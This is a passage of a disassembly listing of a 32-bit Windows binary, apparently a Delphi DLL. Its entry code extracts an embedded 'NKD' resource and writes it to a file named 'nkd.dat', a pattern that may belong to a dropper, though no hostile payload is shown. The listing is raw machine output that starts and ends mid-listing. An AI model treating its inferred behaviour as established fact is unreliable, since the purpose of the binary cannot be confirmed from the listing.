XREF: sub_10008558+19o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_100085D8 ; --------------------------------------------------------------------------- loc_100085E8: ; CODE XREF: sub_10008558+88j ; DATA XREF: sub_10008558+7Bo mov eax, esi pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_10008558 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100085F4 proc near ; DATA XREF: CODE:10008678o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10008613 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000861A loc_10008612: ; CODE XREF: sub_100085F4+24j retn ; --------------------------------------------------------------------------- loc_10008613: ; DATA XREF: sub_100085F4+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10008612 ; --------------------------------------------------------------------------- loc_1000861A: ; CODE XREF: sub_100085F4:loc_10008612j ; DATA XREF: sub_100085F4+19o pop ebp retn sub_100085F4 endp ; --------------------------------------------------------------------------- dword_1000861C dd 0Bh ; DATA XREF: CODE:1000868Ao ; BSS:off_1000A638o dd offset off_10008624 off_10008624 dd offset loc_10004520 ; DATA XREF: CODE:10008620o dd offset sub_100044F0 dd offset sub_100042EC dd offset sub_1000428C dd offset sub_10004558 dd offset sub_10004528 dd offset sub_100046D0 dd offset sub_100046A0 dd offset sub_10004790 dd offset sub_10004760 dd offset sub_10004A48 dd offset sub_10004A18 dd offset sub_10007DD0 dd offset sub_10007C50 dd offset sub_10007E80 dd offset sub_10007E50 dd offset sub_10007EB8 dd offset sub_10007E88 dd offset sub_10008170 dd offset sub_10008120 align 8 dd offset sub_100085F4 ; --------------------------------------------------------------------------- public start start: push ebp mov ebp, esp add esp, 0FFFFFFE8h xor eax, eax mov [ebp-18h], eax mov [ebp-14h], eax mov eax, offset dword_1000861C call sub_100044AC xor eax, eax push ebp push offset loc_10008725 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp-14h] call sub_100080A8 lea eax, [ebp-14h] mov edx, offset dword_1000873C call sub_1000389C mov eax, [ebp-14h] call sub_1000397C mov ecx, eax mov edx, offset aRc_data ; "RC_DATA" mov eax, offset aNkd ; "NKD" call sub_100084A8 lea eax, [ebp-18h] call sub_100080A8 lea eax, [ebp-18h] mov edx, offset dword_1000873C call sub_1000389C mov eax, [ebp-18h] mov edx, offset dword_1000A7B0 call sub_10008558 mov edx, offset dword_1000A7B0 mov ecx, 2 call sub_100046E0 test eax, eax jz short loc_1000870A call sub_1000820C loc_1000870A: ; CODE XREF: CODE:10008703j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000872C loc_10008717: ; CODE XREF: CODE:1000872Aj lea eax, [ebp-18h] mov edx, 2 call sub_10003644 retn ; --------------------------------------------------------------------------- loc_10008725: ; DATA XREF: CODE:10008697o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10008717 ; --------------------------------------------------------------------------- loc_1000872C: ; CODE XREF: CODE:10008724j ; DATA XREF: CODE:10008712o call sub_10003530 ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 7 dword_1000873C dd 2E646B6Eh, 746164h ; DATA XREF: CODE:100086ADo ; CODE:100086DBo aRc_data db 'RC_DATA',0 ; DATA XREF: CODE:100086C1o aNkd db 'NKD',0 ; DATA XREF: CODE:100086C6o CODE ends ; Section 2. (virtual address 00009000) ; Virtual size : 00000400 ( 1024.) ; Section size in file : 00000400 ( 1024.) ; Offset to raw data for section: 00009000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DATA segment para public 'DATA' use32 assume cs:DATA ;org 10009000h dword_10009000 dd 0 ; DATA XREF: sub_10003418+Ar ; sub_10003474+2w ... dword_10009004 dd 0 ; DATA XREF: sub_10002588w ; sub_10003418+37r ... byte_10009008 db 2 ; DATA XREF: sub_100042EC+1Ew db 8Dh, 40h, 0 dword_1000900C dd 0 ; DATA XREF: sub_10003A9Cr ; sub_10003A9C+9r dword_10009010 dd 0 ; DATA XREF: DATA:off_100093E8o word_10009014 dw 1332h ; DATA XREF: sub_10002B60+6r ; sub_10002B60:loc_10002BD8r ... dw 0C08Bh byte_10009018 db 0 ; DATA XREF: sub_10002E2Cr ; sub_10002E48r ... db 8Dh, 40h, 0 byte_1000901C db 0 ; DATA XREF: sub_10002F1C+52r ; sub_10002F1C:loc_10002FA9r db 8Dh, 40h, 0 byte_10009020 db 0 ; DATA XREF: sub_100034A4:loc_10003505r db 8Dh, 40h, 0 dword_10009024 dd 0 ; DATA XREF: sub_10003C50r ; sub_10004110r ... dword_10009028 dd 0 ; DATA XREF: sub_100040B4+Cr off_1000902C dd offset sub_10001F24 ; DATA XREF: sub_100024F8+5r ; sub_10002538+3Fr off_10009030 dd offset sub_100020B4 ; DATA XREF: sub_10002518+5r ; sub_10002538+26r ... off_10009034 dd offset sub_10002434 ; DATA XREF: sub_10002538+Dr byte_10009038 db 0 ; DATA XREF: sub_10002594+36r aRsu db 'клхивохмншьзыйэщчъЮАЦ',0 aFxn@ db 'ДЕ█@',0 aError db 'Error',0 ; DATA XREF: sub_100034A4+6Co dw 0C08Bh aRuntimeErrorAt db 'Runtime error at 00000000',0 ; DATA XREF: sub_10003418+3o ; sub_100034A4+32o ... dw 0C08Bh byte_1000907C db 30h ; DATA XREF: sub_10003418+41r db 31h, 32h, 33h dd 37363534h, 42413938h, 46454443h TlsIndex dd 0 ; DATA XREF: sub_1000441C+Cr ; sub_1000441C+37r ... dword_10009090 dd 0 ; DATA XREF: sub_100044A0o ; sub_100044AC+33o ... dword_10009094 dd 10000000h ; DATA XREF: sub_100044AC+1Bw dword_10009098 dd 0 ; DATA XREF: sub_100044AC+22w dword_1000909C dd 0 ; DATA XREF: sub_100044AC+29w dd 10000000h, 0 dword_100090A8 dd 0 ; DATA XREF: sub_10007C50+15Do dword_100090AC dd 0 ; DATA XREF: sub_10007C50+153o dword_100090B0 dd 2 ; DATA XREF: sub_10007134+1Bw ; sub_10007134+32r ... dword_100090B4 dd 5 ; DATA XREF: sub_10007134+24w dword_100090B8 dd 1 ; DATA XREF: sub_10007134+2Dw dword_100090BC dd 0A28h ; DATA XREF: sub_10007134+44w ; sub_10007134+4Fw dword_100090C0 dd 0 ; DATA XREF: sub_10007134:loc_10007188o ; sub_10007C50+149o dword_100090C4 dd 0 ; DATA XREF: sub_100064F0+C4r ; sub_100071A4+1Br ... dd 7 dup(0) off_100090E4 dd 0 ; DATA XREF: sub_10007C50+70o ; sub_10007DD0+37o dword_100090E8 dd 77E686CCh ; DATA XREF: sub_10007914+1Cw ; sub_10007914:loc_10007935r ... off_100090EC dd 0 ; DATA XREF: sub_10007C50+5Bo dd 0 off_100090F4 dd offset off_10004860 ; DATA XREF: sub_10005760+43r ; CODE:10007C44o off_100090F8 dd offset off_10004868 ; DATA XREF: CODE:10007C38o tbyte_100090FC dt 1.0e18 ; DATA XREF: sub_10005FB9+63r dw 0C08Bh flt_10009108 db 0Ah, 0, 0, 0 ; DATA XREF: sub_10005C74+23r ; sub_10005FB9+78r off_1000910C dd offset off_100048E8 ; DATA XREF: sub_10006268+3Ao ; CODE:10007C2Co off_10009110 dd offset off_100048F0 ; DATA XREF: CODE:10007C20o off_10009114 dd offset off_100048F8 ; DATA XREF: CODE:10007C14o off_10009118 dd offset off_10004900 ; DATA XREF: CODE:10007C08o off_1000911C dd offset off_10004908 ; DATA XREF: CODE:10007BFCo off_10009120 dd offset off_10004910 ; DATA XREF: CODE:10007BF0o off_10009124 dd offset off_10004918 ; DATA XREF: CODE:10007BE4o off_10009128 dd offset off_10004920 ; DATA XREF: CODE:10007BD8o off_1000912C dd offset off_10004928 ; DATA XREF: CODE:10007BCCo off_10009130 dd offset off_10004930 ; DATA XREF: CODE:10007BC0o off_10009134 dd offset off_10004938 ; DATA XREF: CODE:10007BB4o off_10009138 dd offset off_10004940 ; DATA XREF: CODE:10007BA8o off_1000913C dd offset off_10004948 ; DATA XREF: sub_10006268+5Do ; CODE:10007B9Co off_10009140 dd offset off_10004950 ; DATA XREF: CODE:10007B90o off_10009144 dd offset off_10004958 ; DATA XREF: CODE:10007B84o off_10009148 dd offset off_10004960 ; DATA XREF: CODE:10007B78o off_1000914C dd offset off_10004968 ; DATA XREF: CODE:10007B6Co off_10009150 dd offset off_10004970 ; DATA XREF: CODE:10007B60o off_10009154 dd offset off_10004978 ; DATA XREF: CODE:10007B54o off_10009158 dd offset off_10004980 ; DATA XREF: CODE:10007B48o off_1000915C dd offset off_10004988 ; DATA XREF: CODE:10007B3Co off_10009160 dd offset off_10004990 ; DATA XREF: CODE:10007B30o off_10009164 dd offset off_10004998 ; DATA XREF: CODE:10007B24o off_10009168 dd offset off_100049A0 ; DATA XREF: CODE:10007B18o off_1000916C dd offset off_100049A8 ; DATA XREF: sub_10006268+A9o ; CODE:10007B0Co off_10009170 dd offset off_100049B0 ; DATA XREF: CODE:10007B00o off_10009174 dd offset off_100049B8 ; DATA XREF: CODE:10007AF4o off_10009178 dd offset off_100049C0 ; DATA XREF: CODE:10007AE8o off_1000917C dd offset off_100049C8 ; DATA XREF: CODE:10007ADCo off_10009180 dd offset off_100049D0 ; DATA XREF: CODE:10007AD0o off_10009184 dd offset off_100049D8 ; DATA XREF: CODE:10007AC4o off_10009188 dd offset off_100049E0 ; DATA XREF: sub_10006268+CEo ; CODE:10007AB8o off_1000918C dd offset off_100049E8 ; DATA XREF: CODE:10007AACo off_10009190 dd offset off_100049F0 ; DATA XREF: CODE:10007AA0o off_10009194 dd offset off_100049F8 ; DATA XREF: CODE:10007A94o off_10009198 dd offset off_10004A00 ; DATA XREF: CODE:10007A88o off_1000919C dd offset off_10004A08 ; DATA XREF: CODE:10007A7Co off_100091A0 dd offset off_10004A10 ; DATA XREF: CODE:10007A70o dword_100091A4 dd 2 ; DATA XREF: sub_10006B2C+16r ; sub_10007C50+46o dword_100091A8 dd 0 ; DATA XREF: sub_10006B2C+24r ; CODE:10007A64o dd 3 dword_100091B0 dd 0 ; DATA XREF: CODE:10007A5Co dd 4 dword_100091B8 dd 0 ; DATA XREF: CODE:10007A54o dd 5 dword_100091C0 dd 0 ; DATA XREF: CODE:10007A4Co dword_100091C4 dd 64h ; DATA XREF: sub_10006BAC+2Ao ; sub_10006D70+Fr ... dword_100091C8 dd 0 ; DATA XREF: CODE:10007A44o dd 65h dword_100091D0 dd 0 ; DATA XREF: CODE:10007A3Co dd 6Ah dword_100091D8 dd 0 ; DATA XREF: CODE:10007A34o off_100091DC dd offset dword_10004D24 ; DATA XREF: sub_10007C50+31o dword_100091E0 dd 0 ; DATA XREF: CODE:10007A2Co dd offset dword_10004D7C dword_100091E8 dd 0 ; DATA XREF: CODE:10007A24o dd offset dword_10004DD4 dword_100091F0 dd 0 ; DATA XREF: CODE:10007A1Co dd offset dword_10004E88 dword_100091F8 dd 0 ; DATA XREF: CODE:10007A14o dd offset dword_10004EE0 dword_10009200 dd 0 ; DATA XREF: CODE:10007A0Co dd offset dword_10004F38 dword_10009208 dd 0 ; DATA XREF: CODE:10007A04o dd offset dword_10004F90 dword_10009210 dd 0 ; DATA XREF: CODE:100079FCo dd offset dword_10005044 dword_10009218 dd 0 ; DATA XREF: CODE:100079F4o dd offset dword_100050FC dword_10009220 dd 0 ; DATA XREF: CODE:100079ECo dd offset dword_1000515C dword_10009228 dd 0 ; DATA XREF: CODE:100079E4o dd offset dword_10005210 dword_10009230 dd 0 ; DATA XREF: CODE:100079DCo dd offset dword_100051B4 dword_10009238 dd 0 ; DATA XREF: CODE:100079D4o dd offset dword_10005268 dword_10009240 dd 0 ; DATA XREF: CODE:100079CCo dd offset dword_10005268 dword_10009248 dd 0 ; DATA XREF: CODE:100079C4o dd offset dword_10005268 dword_10009250 dd 0 ; DATA XREF: CODE:100079BCo dd offset dword_10005268 dword_10009258 dd 0 ; DATA XREF: CODE:100079B4o dd offset dword_10005268 dword_10009260 dd 0 ; DATA XREF: CODE:100079ACo dd offset dword_10005268 dword_10009268 dd 0 ; DATA XREF: CODE:100079A4o dd offset dword_100052C4 dword_10009270 dd 0 ; DATA XREF: CODE:1000799Co dd offset dword_10004C6C dword_10009278 dd 0 ; DATA XREF: CODE:10007994o dd offset dword_10005380 dword_10009280 dd 0 ; DATA XREF: CODE:1000798Co dd offset dword_100053DC dword_10009288 dd 0 ; DATA XREF: CODE:10007984o dword_1000928C dd 20591EC1h ; DATA XREF: sub_100073F0+Ar dword_10009290 dd 0 ; DATA XREF: sub_100078F4+1o dword_10009294 dd 0 ; DATA XREF: sub_10008120:loc_1000814Do off_10009298 dd offset off_10004900 ; DATA XREF: CODE:10007C0Co off_1000929C dd offset off_10004870 ; DATA XREF: CODE:100079C0o off_100092A0 dd offset off_100047B8 ; DATA XREF: CODE:10007A58o off_100092A4 dd offset off_10004950 ; DATA XREF: CODE:10007B94o off_100092A8 dd offset off_10004990 ; DATA XREF: CODE:10007B34o off_100092AC dd offset off_100049F8 ; DATA XREF: CODE:10007A98o off_100092B0 dd offset off_10004920 ; DATA XREF: CODE:10007BDCo off_100092B4 dd offset off_1000A028 ; DATA XREF: sub_10007030+79r off_100092B8 dd offset off_100048B0 ; DATA XREF: sub_10006F54+73r ; CODE:10007998o off_100092BC dd offset off_10004A08 ; DATA XREF: CODE:10007A80o off_100092C0 dd offset dword_1000A008 ; DATA XREF: sub_10007030+2Er ; sub_100070B4:loc_100070FAr off_100092C4 dd offset off_100049E0 ; DATA XREF: CODE:10007ABCo off_100092C8 dd offset off_10004908 ; DATA XREF: CODE:10007C00o off_100092CC dd offset off_100047D0 ; DATA XREF: CODE:10007A40o off_100092D0 dd offset off_100049E8 ; DATA XREF: CODE:10007AB0o off_100092D4 dd offset off_100049C8 ; DATA XREF: CODE:10007AE0o off_100092D8 dd offset off_100049F0 ; DATA XREF: CODE:10007AA4o off_100092DC dd offset dword_1000A01C ; DATA XREF: sub_10007030+44r ; sub_100070B4+58r off_100092E0 dd offset off_100047A0 ; DATA XREF: sub_10006B2C+44r off_100092E4 dd offset off_10004858 ; DATA XREF: CODE:1000692Fr off_100092E8 dd offset off_10004798 ; DATA XREF: sub_10007030r off_100092EC dd offset off_10004928 ; DATA XREF: CODE:10007BD0o off_100092F0 dd offset off_100047D8 ; DATA XREF: CODE:10007A38o off_100092F4 dd offset off_10004860 ; DATA XREF: CODE:10007C48o off_100092F8 dd offset off_100048D8 ; DATA XREF: sub_10006CD8r off_100092FC dd offset off_100048A8 ; DATA XREF: CODE:100079B0o off_10009300 dd offset off_10004978 ; DATA XREF: CODE:10007B58o off_10009304 dd offset dword_1000A214 ; DATA XREF: CODE:100068CAr off_10009308 dd offset off_10004998 ; DATA XREF: CODE:10007B28o off_1000930C dd offset dword_1000A00C ; DATA XREF: sub_10007030+51r ; sub_100070B4+61r off_10009310 dd offset off_10004958 ; DATA XREF: CODE:10007B88o off_10009314 dd offset dword_1000A004 ; DATA XREF: sub_10007030+39r ; sub_100070B4+4Fr off_10009318 dd offset dword_1000A010 ; DATA XREF: sub_10007030+5Cr ; sub_100070B4+6Ar off_1000931C dd offset off_100049A0 ; DATA XREF: CODE:10007B1Co off_10009320 dd offset off_10004838 ; DATA XREF: CODE:100079D8o off_10009324 dd offset off_10004830 ; DATA XREF: CODE:100079F0o off_10009328 dd offset off_10004840 ; DATA XREF: CODE:100079E0o off_1000932C dd offset off_100049D8 ; DATA XREF: CODE:10007AC8o off_10009330 dd offset off_100047A8 ; DATA XREF: CODE:10007A68o off_10009334 dd offset off_100047F0 ; DATA XREF: CODE:10007A20o off_10009338 dd offset off_10004868 ; DATA XREF: CODE:10007C3Co off_1000933C dd offset off_10004888 ; DATA XREF: CODE:100079B8o off_10009340 dd offset off_10004948 ; DATA XREF: CODE:10007BA0o off_10009344 dd offset off_100048C0 ; DATA XREF: CODE:10007990o off_10009348 dd offset off_10004970 ; DATA XREF: CODE:10007B64o off_1000934C dd offset off_100048A0 ; DATA XREF: CODE:100079C8o off_10009350 dd offset off_10004960 ; DATA XREF: CODE:10007B7Co off_10009354 dd offset off_10004980 ; DATA XREF: CODE:10007B4Co off_10009358 dd offset off_10004898 ; DATA XREF: CODE:100079D0o off_1000935C dd offset off_100048F0 ; DATA XREF: CODE:10007C24o off_10009360 dd offset off_10004930 ; DATA XREF: CODE:10007BC4o off_10009364 dd offset off_100049C0 ; DATA XREF: CODE:10007AECo off_10009368 dd offset off_100047C8 ; DATA XREF: CODE:10007A48o off_1000936C dd offset off_10004808 ; DATA XREF: CODE:10007A08o off_10009370 dd offset off_10004968 ; DATA XREF: CODE:10007B70o off_10009374 dd offset off_10004818 ; DATA XREF: sub_10007030+17r off_10009378 dd offset off_100049D0 ; DATA XREF: CODE:10007AD4o off_1000937C dd offset off_10004810 ; DATA XREF: CODE:10007A00o off_10009380 dd offset off_100049A8 ; DATA XREF: CODE:10007B10o off_10009384 dd offset dword_1000A020 ; DATA XREF: sub_10007030+6Cr ; sub_100070B4+73r off_10009388 dd offset off_100048C8 ; DATA XREF: CODE:10007988o off_1000938C dd offset off_10004880 ; DATA XREF: sub_10006D88+54r off_10009390 dd offset off_10004828 ; DATA XREF: sub_10006D88+16Cr off_10009394 dd offset off_10004A00 ; DATA XREF: CODE:10007A8Co off_10009398 dd offset off_100047C0 ; DATA XREF: CODE:10007A50o off_1000939C dd offset off_100048B8 ; DATA XREF: sub_10006C00+38r ; CODE:100079A0o off_100093A0 dd offset off_10004988 ; DATA XREF: CODE:10007B40o off_100093A4 dd offset off_100049B0 ; DATA XREF: CODE:10007B04o off_100093A8 dd offset byte_1000A044 ; DATA XREF: CODE:100068C0r off_100093AC dd offset off_100049B8 ; DATA XREF: CODE:10007AF8o off_100093B0 dd offset off_10004890 ; DATA XREF: CODE:100079A8o off_100093B4 dd offset off_100048E0 ; DATA XREF: sub_10006D88+110r off_100093B8 dd offset off_10004918 ; DATA XREF: CODE:10007BE8o off_100093BC dd offset off_100048D0 ; DATA XREF: sub_10006C00+63r off_100093C0 dd offset off_10004938 ; DATA XREF: CODE:10007BB8o off_100093C4 dd offset off_10004A10 ; DATA XREF: CODE:10007A74o off_100093C8 dd offset off_100048F8 ; DATA XREF: CODE:10007C18o off_100093CC dd offset off_100047B0 ; DATA XREF: CODE:10007A60o off_100093D0 dd offset off_10004848 ; DATA XREF: CODE:100079E8o off_100093D4 dd offset off_100047E8 ; DATA XREF: CODE:10007A28o off_100093D8 dd offset off_100047E0 ; DATA XREF: CODE:10007A30o off_100093DC dd offset off_10004940 ; DATA XREF: CODE:10007BACo off_100093E0 dd offset off_100047F8 ; DATA XREF: CODE:10007A18o off_100093E4 dd offset off_100048E8 ; DATA XREF: CODE:10007C30o off_100093E8 dd offset dword_10009010 ; DATA XREF: sub_100057B8+1r ; sub_100057B8+Cr off_100093EC dd offset off_10004850 ; DATA XREF: CODE:10006802r off_100093F0 dd offset off_10004820 ; DATA XREF: CODE:100079F8o off_100093F4 dd offset off_10004800 ; DATA XREF: CODE:10007A10o off_100093F8 dd offset off_10004878 ; DATA XREF: sub_10006D88+45r off_100093FC dd offset off_10004910 ; DATA XREF: CODE:10007BF4o DATA ends ; Section 3. (virtual address 0000A000) ; Virtual size : 000007B5 ( 1973.) ; Section size in file : 000007B5 ( 1973.) ; Offset to raw data for section: 0000A000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write BSS segment para public '' use32 assume cs:BSS ;org 1000A000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing off_1000A000 dd offset sub_10003BA0 ; DATA XREF: sub_100042EC+40w dword_1000A004 dd 0 ; DATA XREF: CODE:1000325Er ; DATA:off_10009314o dword_1000A008 dd 0 ; DATA XREF: sub_10002594+9r ; sub_10002594+16r ... dword_1000A00C dd 0 ; DATA XREF: DATA:off_1000930Co dword_1000A010 dd 0 ; DATA XREF: sub_10002F1C+25r ; CODE:1000323Cr ... off_1000A014 dd offset sub_10001068 ; DATA XREF: sub_10002E2C+14r ; sub_10002E48+16r ... off_1000A018 dd offset sub_10001070 ; DATA XREF: sub_10002F1C+D2r ; CODE:10003224r ... dword_1000A01C dd 0 ; DATA XREF: DATA:off_100092DCo dword_1000A020 dd 0 ; DATA XREF: DATA:off_10009384o dword_1000A024 dd 0 ; DATA XREF: sub_10003530+A8r ; sub_10003530+B1r off_1000A028 dd offset sub_10006CD8 ; DATA XREF: DATA:off_100092B4o dword_1000A02C dd 10000000h ; DATA XREF: sub_1000338C+29w dword_1000A030 dd 0D4h ; DATA XREF: sub_100042EC+DEw byte_1000A034 db 0 ; DATA XREF: sub_1000338C+33w align 4 dword_1000A038 dd 0Ah ; DATA XREF: sub_100042EC+87w dword_1000A03C dd 142340h ; DATA XREF: sub_100042EC+7Dw dword_1000A040 dd 0 ; DATA XREF: sub_10003530+Eo byte_1000A044 db 0 ; DATA XREF: sub_100034A4+1r ; DATA:off_100093A8o byte_1000A045 db 0 ; DATA XREF: sub_10001838+1Br ; sub_10001838:loc_100018DAr ... byte_1000A046 db 2 ; DATA XREF: sub_100042EC+39w align 4 dword_1000A048 dd 0 ; DATA XREF: sub_100026DC:loc_1000271Bo ; sub_1000428C+19o word_1000A04C dw 0D7B0h ; DATA XREF: sub_100042EC+5Dw align 10h dd 71h dup(0) dword_1000A214 dd 0 ; DATA XREF: sub_10002688:loc_100026A7o ; sub_100034A4+1Eo ... word_1000A218 dw 0D7B0h ; DATA XREF: sub_100034A4+Ar ; sub_100042EC+66w align 10h dword_1000A220 dd 0 ; DATA XREF: sub_100034A4+15r align 10h dword_1000A230 dd 0 ; DATA XREF: sub_100034A4+23r dd 6Bh dup(0) dword_1000A3E0 dd 0 ; DATA XREF: sub_10002688+26o ; sub_1000428C+2Do word_1000A3E4 dw 0D7B0h ; DATA XREF: sub_100042EC+6Fw align 4 dd 71h dup(0) dword_1000A5AC dd 1 ; DATA XREF: sub_10001AA0w ; sub_10001E30+92w ... dword_1000A5B0 dd 47A8h ; DATA XREF: sub_10001AA0+16w ; sub_10001E30+9Bw ... dword_1000A5B4 dd 0 ; DATA XREF: sub_1000428C+11w ; sub_100042EC+11w dword_1000A5B8 dd 3 ; DATA XREF: sub_10003740+10r ; sub_100042EC+ADw ... byte_1000A5BC db 0 ; DATA XREF: sub_10001838+8Ew ; sub_10001838:loc_100018F5r ... align 10h dword_1000A5C0 dd 0 ; DATA XREF: sub_1000142C+6Dw ; sub_10001578+63w ... dword_1000A5C4 dd 6 dup(0) ; DATA XREF: sub_10001838+11o ; sub_10001838+24o ... dword_1000A5DC dd 0 ; DATA XREF: sub_100011AC:loc_100011CFr ; sub_100011AC+2Aw ... dword_1000A5E0 dd 145AB4h ; DATA XREF: sub_100011AC+2o ; sub_10001234+Ar ... off_1000A5E4 dd offset off_1000A5E4 ; DATA XREF: sub_10001350+3Eo ; sub_100013B4+51o ... dd offset off_1000A5E4 dd 2 dup(0) off_1000A5F4 dd offset off_1000A5F4 ; DATA XREF: sub_100015F8+Bo ; sub_10001688+Eo ... dd offset off_1000A5F4 dd 2 dup(0) dword_1000A604 dd 844C04h ; DATA XREF: sub_10001838+7Fo dword_1000A608 dd 844C04h ; DATA XREF: sub_10001E30:loc_10001E40r align 10h dword_1000A610 dd 844C04h ; DATA XREF: sub_10001838+89w ; sub_100019DC+1r ... dword_1000A614 dd 0 ; DATA XREF: sub_10001CCCr ; sub_10001CCC+9r ... dword_1000A618 dd 0 ; DATA XREF: sub_10001CCC+26r ; sub_10001CCC+2Er ... dword_1000A61C dd 0 ; DATA XREF: sub_10001838+58w ; sub_10001838+5Dr ... off_1000A620 dd offset off_1000A620 ; DATA XREF: sub_10001838+42o ; sub_100018FC+81o ... dd offset off_1000A620 align 10h dword_1000A630 dd 0 ; DATA XREF: sub_100032CC+6o ; sub_10003474+Do ... dword_1000A634 dd 12FFB4h ; DATA XREF: sub_10003284+17w ; sub_100032A4+2r off_1000A638 dd offset dword_1000861C ; DATA XREF: sub_1000332C+6r ; sub_1000338C+14w dword_1000A63C dd 0 ; DATA XREF: sub_1000332C+2Cw ; sub_1000338C+1Bw off_1000A640 dd offset dword_10009090 ; DATA XREF: sub_1000338C+20w dd 6 dup(0) dword_1000A65C dd 0 ; DATA XREF: sub_1000428C+3Co byte_1000A660 db 0 ; DATA XREF: sub_10004460r byte_1000A661 db 0 ; DATA XREF: sub_10007DD0+2Er align 4 dword_1000A664 dd 10000000h ; DATA XREF: sub_100044AC+11w ; sub_100044AC+16r ... dword_1000A668 dd 0 ; DATA XREF: sub_100044F0+11w ; CODE:loc_10004520w dword_1000A66C dd 0 ; DATA XREF: sub_10004460:loc_1000448Fr dword_1000A670 dd 0 ; DATA XREF: sub_10004528+11w ; sub_10004558w dword_1000A674 dd 0 ; DATA XREF: sub_100046A0+11w ; sub_100046D0w dword_1000A678 dd 0 ; DATA XREF: sub_10004760+11w ; sub_10004790w dword_1000A67C dd 0 ; DATA XREF: sub_10004A18+11w ; sub_10004A48w dword_1000A680 dd 0 ; DATA XREF: sub_10005CB8+1Cr ; sub_1000757C+52o ... byte_1000A684 db 0 ; DATA XREF: sub_10005CB8+24r ; sub_1000757C+7Bw byte_1000A685 db 0 ; DATA XREF: sub_10005CB8+2Cr ; sub_1000757C+9Fw byte_1000A686 db 2Ch ; DATA XREF: sub_10005CB8+14r ; sub_1000757C+B2w byte_1000A687 db 2Eh ; DATA XREF: sub_10005CB8+Cr ; sub_1000757C+C5w byte_1000A688 db 2 ; DATA XREF: sub_10005912+1F9r ; sub_1000757C+E9w byte_1000A689 db 2Fh ; DATA XREF: sub_1000757C+FCw align 4 dword_1000A68C dd 0 ; DATA XREF: sub_1000757C+124o ; sub_10007C50+135o dword_1000A690 dd 0 ; DATA XREF: sub_1000757C+151o ; sub_10007C50+12Bo byte_1000A694 db 3Ah ; DATA XREF: sub_1000757C+169w align 4 dword_1000A698 dd 0 ; DATA XREF: sub_1000757C+186o ; sub_10007C50+121o dword_1000A69C dd 0 ; DATA XREF: sub_1000757C+1A8o ; sub_10007C50+117o dword_1000A6A0 dd 0 ; DATA XREF: sub_1000757C+271o ; sub_10007C50+10Do dword_1000A6A4 dd 0 ; DATA XREF: sub_1000757C+28Eo ; sub_10007C50+103o dword_1000A6A8 dd 0Ch dup(0) ; DATA XREF: sub_10006268+29o ; sub_10007C50+EEo dword_1000A6D8 dd 0Ch dup(0) ; DATA XREF: sub_10006268+2Eo ; sub_10007C50+D9o dword_1000A708 dd 7 dup(0) ; DATA XREF: sub_10006268+8Ao ; sub_10007C50+C4o dword_1000A724 dd 7 dup(0) ; DATA XREF: sub_10006268+8Fo ; sub_10007C50+AFo dword_1000A740 dd 409h ; DATA XREF: sub_10007390+Er ; sub_10007408+Cw ... dword_1000A744 dd 9 ; DATA XREF: sub_100064F0+5Cr ; sub_100073F0r ... dword_1000A748 dd 1 ; DATA XREF: sub_10007408+20w ; sub_10007408+53w dword_1000A74C dd 2C0000h ; DATA XREF: sub_1000638C:loc_100063A0r ; sub_1000638C+1Eo ... dword_1000A750 dd 6 dup(0) ; DATA XREF: sub_10007C50+9Ao dword_1000A768 dd 0 ; DATA XREF: sub_100063C8:loc_100063ECr ; sub_100063C8+43w dword_1000A76C dd 7 dup(0) ; DATA XREF: sub_10006440+5Do dword_1000A788 dd 0 ; DATA XREF: sub_10007C50+8Ao dword_1000A78C dd 0 ; DATA XREF: sub_10007C50+7Ao dword_1000A790 dd 0 ; DATA XREF: sub_10007C50+11w ; sub_10007DD0+11w dword_1000A794 dd 0 ; DATA XREF: sub_10006BAC:loc_10006BC1r ; sub_10007030+12w ... dword_1000A798 dd 0 ; DATA XREF: sub_10006BAC:loc_10006BC9r ; sub_10007030+29w ... dword_1000A79C dd 0 ; DATA XREF: sub_10007C50+1Do dword_1000A7A0 dd 0 ; DATA XREF: sub_10007E50+11w ; sub_10007E80w dword_1000A7A4 dd 0 ; DATA XREF: sub_10007E88+11w ; sub_10007EB8w dword_1000A7A8 dd 0 ; DATA XREF: sub_10008120+11w ; sub_10008170w dword_1000A7AC dd 0 ; DATA XREF: sub_10008120+19r ; sub_10008120+22r dword_1000A7B0 dd 6400h ; DATA XREF: CODE:100086E8o ; CODE:100086F2o db 0 BSS ends ; Section 4. (virtual address 0000B000) ; Virtual size : 000007DA ( 2010.) ; Section size in file : 000007DA ( 2010.) ; Offset to raw data for section: 0000B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 1000B000h dd 3 dup(0) dd 0B218h, 0B0B4h, 3 dup(0) dd 0B43Ah, 0B130h, 3 dup(0) dd 0B480h, 0B144h, 3 dup(0) dd 0B4C0h, 0B154h, 3 dup(0) dd 0B4DEh, 0B15Ch, 3 dup(0) dd 0B52Ah, 0B170h, 3 dup(0) dd 0B764h, 0B1F8h, 3 dup(0) dd 0B7BAh, 0B210h, 5 dup(0) dword_1000B0B4 dd 77F53275h ; DATA XREF: sub_100011A4r dword_1000B0B8 dd 77F7E300h ; DATA XREF: sub_1000119Cr dword_1000B0BC dd 77F7E21Fh ; DATA XREF: sub_10001194r dword_1000B0C0 dd 77E79908h ; DATA XREF: sub_1000118Cr dword_1000B0C4 dd 77E79E34h ; DATA XREF: sub_10001184r dword_1000B0C8 dd 77E7980Ah ; DATA XREF: sub_1000117Cr dword_1000B0CC dd 77E79A45h ; DATA XREF: sub_10001174r dword_1000B0D0 dd 77E79881h ; DATA XREF: sub_1000116Cr dword_1000B0D4 dd 77E7C486h ; DATA XREF: 